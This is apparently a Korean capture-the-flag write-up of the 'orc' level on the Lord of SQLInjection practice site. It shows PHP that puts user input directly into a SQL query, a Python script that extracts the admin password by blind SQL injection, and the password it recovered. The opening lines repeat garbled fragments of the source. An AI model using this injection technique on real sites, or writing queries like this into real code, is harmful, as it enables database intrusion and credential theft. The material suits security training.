query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>"> query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>"> query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>">
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

이 문제는 admin 의 실제 pw 를 구해야합니다. blind sql injection 입니다.

substr(pw, {자릿수}, 1) = {찾는 값} 의 결괏값이 참이라면 해당 자릿수에 찾는 값이 들어가있는것입니다.

Python으로 자동화하겠습니다.

import requests
import string

url = "<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=>' or id='admin'"

cookies = {
    "PHPSESSID": "0ofrh7or1j5rjllojs6cis1ucb"
}

char = string.digits + string.ascii_letters
result=""

for i in range(1,10):
    for j in range(48,122):
        param="and ord(substr(pw,"+str(i)+",1)) = "+str(j)+"%23"
        print(i, j)
        response = requests.get(url+param, cookies=cookies)
        if "Hello admin" in response.text:
            print("Found = ", j);
            result += chr(j)
            break
print(result)

비밀번호는 095a9852 입니다. ( 위 코드에서 자릿수는 최대 10자리까지 실행하는데, 실제로는 비밀번호의 길이도 구해서 확실히 해야하지만 8번째 자리 이후 맞는 아스키 문자가 없다는 점으로 비밀번호를 유추했습니다. )

Screenshot 2024-06-03 at 1.34.41 AM.png